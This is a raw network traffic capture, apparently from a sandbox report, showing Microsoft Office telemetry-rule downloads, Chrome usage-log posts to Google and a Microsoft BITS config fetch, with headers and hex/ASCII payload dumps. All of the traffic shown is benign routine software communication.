2024-11-12 12:35:22 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:21 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123521Z-16547b76f7f76p6chC1DFWctqw0000000fn000000000dv2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49780	142.250.185.206	443	4236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:22 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 12:35:22 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 34 31 34 39 31 39 38 37 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731414919878",null,null,null,
2024-11-12 12:35:22 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=ZcB7MEiP4APRwT7IActNKZwo6vZ7k_4LlbpG-Dfk4ukucm9u8GR8dRyZhOXexjonA1wFcEMWZsn8RAcdjTxVyR3vA9RfoIeZllCt3nnwNUvAJY7BbogCwA4rGIcpa1SRzbYc6HzSqmRXOb9DbugmTlCf4ipSpiTlteNFYhnf2GI0jIsUq5Y; expires=Wed, 14-May-2025 12:35:22 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 12 Nov 2024 12:35:22 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 12 Nov 2024 12:35:22 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 12:35:22 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-12 12:35:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49782	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 12:35:22 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=187817 Date: Tue, 12 Nov 2024 12:35:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-12 12:35:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:22 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:22 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123522Z-16547b76f7fwvr5dhC1DFW2c940000000ffg00000000afch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:22 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:22 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:22 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 1b2c96e9-801e-00ac-3bad-34fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123522Z-15869dbbcc6qwghvhC1DFWw7e800000000y00000000067v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:22 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:22 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:22 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123522Z-16547b76f7f7jnp2hC1DFWfc300000000fk000000000e5ud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:22 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:22 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:22 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123522Z-16547b76f7fj897nhC1DFWdwq40000000fhg000000004d5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:22 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:22 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:22 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123522Z-16547b76f7fmbrhqhC1DFWkds80000000fs0000000002umm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	51512	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:23 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a8f543db-f01e-003f-08a0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123523Z-17df447cdb5w28bthC1DFWgb640000000bh000000000dxyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	51513	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:23 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 22e74508-c01e-00a1-69a2-347e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123523Z-15869dbbcc6bmgjfhC1DFWzfzs000000075g000000002zv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	51515	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:23 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: d07841a0-401e-0064-490f-2d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123523Z-16547b76f7f9bs6dhC1DFWt3rg0000000fgg00000000d0q3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
